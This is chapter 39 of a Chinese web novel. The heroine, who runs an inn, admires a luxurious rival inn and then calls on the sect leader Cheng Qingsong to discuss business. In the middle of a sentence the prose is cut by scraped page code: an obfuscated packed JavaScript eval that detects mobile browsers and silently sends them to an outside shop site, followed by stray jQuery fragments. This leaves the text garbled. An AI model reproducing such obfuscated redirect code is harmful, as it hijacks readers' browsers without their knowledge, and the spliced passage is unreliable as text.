39. 第 39 章
作品:《论穿成弃妇后如何靠开客栈一统江湖》 39
就这样晚饭用罢,几人就去了客房休息。
为了充分学习体验名店的食宿管理,钱小北又临时把三间上房改成了一间上房和一间双人房。
伙计并未多言,只是态度平和地查了是否有空房,然后很快便安排妥当。
钱小北入住的上房挂着“竹韵”的铭牌,推开房门,一股淡雅的檀香混合着竹叶的清气便扑面而来。房间十分宽敞,用精致的屏风巧妙地区分出寝卧、起居和梳妆区域。寝卧区的拔步床雕工细腻,挂着月白色的鲛绡帐,床上铺着触手丝滑的锦被,蓬松柔软。起居区设有一张矮榻,榻上摆放着棋枰和一套紫砂茶具,旁边还有一个书架,放着几卷闲书和一本临州风物志。
钱小北四处查看,这里整体色调是竹青、原木和浅灰,墙上挂着水墨竹石图,多宝格里摆放着仿古瓷器和一个造型别致的香炉。窗边设有一张书案,文房四宝齐全,纸张是上好的宣纸。窗外正对着一丛翠竹,随风摇曳,沙沙作响,真正做到了一步一景。
桌上早已备好了一壶香气馥郁的明前龙井,旁边还有四样精致的时令点心。
钱弈秋看得眼睛都直了,小声对钱小北说:“阿姐,这……这比好多大户人家的屋子还讲究!”
钱小北表面镇定,内心同样震撼。这不仅仅是物质上的奢华,更是一种对客人无微不至的体贴和尊重,原来她曾考虑到的装潢、服务以及所谓氛围感,这种高大上的客栈都早已做到了。
随后,她又一同去参观了钱弈秋和方岳溪要住的客房。挂着“梅影”铭牌的双人房比上房小一些,但同样干净舒适。
两张窄榻分别靠墙,中间用一张小几隔开,保证了基本的隐私。房间装饰以梅花为主题,素净雅致。虽然没有独立的起居区,但窗边也设了小榻和茶具,该有的基础服务一样不缺,只是点心种类少了一种,茶叶是稍次一等的雨前,但依然远超普通客栈。
看来钱家客舍还有很长的路要走啊!钱家姐弟默默感叹。
翌日清晨,天光初亮,薄雾尚未完全散去。
竹韵上房的床褥舒适,美美一觉完全恢复了精神。钱小北早早起身,准备好好打扮一番。今日要去谈的是关乎未来发展的“大生意”,面对的是程青松那样精明的人物,所谓人靠衣装马靠鞍。她可以凭借智慧和口才取胜,但得体的外表,本身就是一种尊重和实力的无声展示。
她从衣架上里取下昨夜早就托伙计熨烫好的衣服,月白色绣着缠枝莲暗纹的交领上襦,配一条湖水碧的百迭裙。这身衣物料子虽非顶级的绫罗绸缎,但剪裁合体,颜色清雅而不失庄重,更衬得她肌肤愈发白皙透亮。
她坐在梳妆铜镜前,将乌黑顺滑的青丝在脑后松松挽了一个乌云髻,用青玉簪子固定,平添了几分温婉与随性。她对着镜子端详,觉得略显素净,又从妆奁里取出一对小巧的珍珠耳坠戴上,圆润的珍珠光泽柔和,恰到好处地提亮了气色。
之前的雪蟾酥和简妍艳的美颜毒药已经让她的容貌脱胎换骨、形容妍丽,此刻只是薄施粉黛,便顾盼神飞。
当她推开房门走出来时,等在院中的方岳溪和钱弈秋都明显愣了一下。
钱弈秋直接张大了嘴:“阿姐,你今天真好看!”
好一阵子钱小北都忙得脚打后脑勺,根本没时间细致妆扮,此时她整个人少了几分平日的跳脱随意,多了几分大家闺秀般的明丽与端庄,却又不会显得过于隆重或刻意,分寸拿捏得极好。
方岳溪的目光在她身上停留了片刻,相较于平日的淡然,他眼中似乎掠过一丝极细微的波澜,像是平静湖面被投下了一颗小石子,但很快便恢复了惯常的平静,只是微微颔首,算是对钱弈秋的赞叹表达了赞同。
钱小北对自己的装扮效果很满意,她落落大方地一笑:“走吧,别让程舵主久等。”
·
在马车上钱小北还在赞许云来居的服务,包括昨晚还主动询问是否需要准备沐浴香汤,并介绍了不同功效的浴盐和花瓣可供选择。即使放在二零二某年的五星酒店,这服务恐怕也不遑多让了。
“这程舵主果然很会做生意啊,以前宁欣欣就说过他是千岳盟里最会做生意的,能将千岳盟的势力与商业结合得如此紧密,遍布各行各业,形成如此庞大的网络,真是厉害。”
听到钱小北提及宁欣欣和程青松,方岳溪的眸色几不可察地沉了沉,只是再次低低地“嗯”了一声,并未多言,反而将视线重新投向窗外,侧脸线条显得有些紧绷。
钱小北再一次察觉到了他的沉默和回避。这一路上,方岳溪的话就比平时少,尤其是在她提起此行的目的和程青松时,这种疏离感就更明显。她心中升起一丝疑惑,但眼下并非深谈的时机。
按照地址马车最终停在了一座气派的宅院前,这里并非临州府最喧嚣的商业区,反而带着几分清幽。白墙黛瓦,高墙深院,门楣上并未悬挂任何彰显身份的牌匾,只有两扇厚重的朱漆大门紧闭着,若非门旁墙壁上同样嵌着那个小小的千岳徽记,几乎要让人以为这是哪位致仕大员的私宅。
钱小北上前,对守在门房外的两名青衣劲装汉子说明了来意,并递上了拜帖和赤云令。
门房汉子接过,态度不卑不亢,仔细查验后,神色立刻多了几分郑重。
“原来是宁小姐的朋友,几位请稍候,容在下通传。”
言语清晰,动作利落,转身入内通传,另一人则礼貌地请他们到门房旁的耳房稍坐休息,并奉上了清茶。整个过程井然有序,毫无世家大族门人常见的倨傲或懈怠,显示出极佳的规矩和训练。
不多时,那门房返回,身后又跟上一位管事模样的中年人,笑容可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664042|187133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
掬地躬身道:“几位贵客久等了,程舵主有请,请随我来。”
踏入大门,绕过影壁,眼前的景致豁然开朗。宅院内部比外面看起来更加深邃广阔。亭台楼阁,错落有致,回廊曲折,连接着各个院落。
不同于北方园林的富丽堂皇,这里更显江南园林的精致与雅趣。假山池沼、玲珑剔透、奇花异草,点缀其间。一池碧水蜿蜒穿过庭院,几尾锦鲤在荷叶片间悠然游动。空气中弥漫着檀香和草木的清芬,偶尔有穿着统一服饰的门人安静地走过,见到客人均会停下脚步、垂首避让,待客人走过方才继续前行,整个宅院透出一种低调的奢华和井井有条的秩序感。
钱小北心中暗凛,这千岳盟江南分舵,果然名不虚传。不仅财力雄厚,这管理水平和底蕴,也绝非寻常江湖帮派可比。
管事引着他们穿过几重院落,最终来到一处临水的花厅。厅内布置清雅,紫檀木的桌椅,墙上挂着意境深远的水墨画,多宝格里陈设着古玩瓷器,角落的香炉里袅袅升起清淡的檀烟。
刚踏入花厅,一个爽朗热情的声音便迎了过来:“哈哈,贵客临门,有失远迎,恕罪恕罪!”
只见那位身着墨紫色锦袍的男子从内间快步走出,正是程青松。此刻手中轻摇着一把玉骨折扇,行动间自带一股风流倜傥的气度,与钱小北之前见过的两次不同,他的穿着形容显得更松弛自在些,但那双明亮的眼睛里闪烁着的睿智和洞悉世情的光芒依然未变。
“钱姑娘、钱小兄弟,来临州一路辛苦。”
“程舵主,小女子叨扰了。”
程青松的目光首先落在钱小北身上,带着恰到好处的好奇与赞赏,随即扫过钱弈秋,最后,又落在了钱小北身后的方岳溪身上。那一瞬间,钱小北捕捉到程青松眼中变化了极其复杂的情绪,说不上来是惊讶、了然,还是一丝难以言喻的玩味,但他掩饰得极好,那异样只是一闪而逝,快得让人几乎以为是错觉。
“又见面了,五当家。”程青松对着方岳溪行了个礼,笑容依旧热情,却似乎多了几分难以捉摸的深意。
方岳溪面无表情,只是抱拳回了一礼,并未多言,姿态疏离。
程青松也不以为意,转而热情地招呼几人落座,吩咐侍女奉上香茗和精致的茶点。他谈吐风趣、见识广博,从临州风物谈到南北趣闻,又关切地问起几人的近况,与钱小北相谈甚欢,气氛看似十分融洽。
钱小北也顺着他的话头寒暄了一阵,赞了一番此处的景致和此处千岳盟产业的兴旺。但她深知时间宝贵,见时机差不多,便话锋一转,切入了正题。
“程舵主,实不相瞒,此次冒昧前来,除了代宁姐姐探望,也是有一事,想与舵主商议。”钱小北放下茶盏,神色变得认真起来。
“哦?钱姑娘但说无妨。”程青松摇着折扇,做出倾听状。

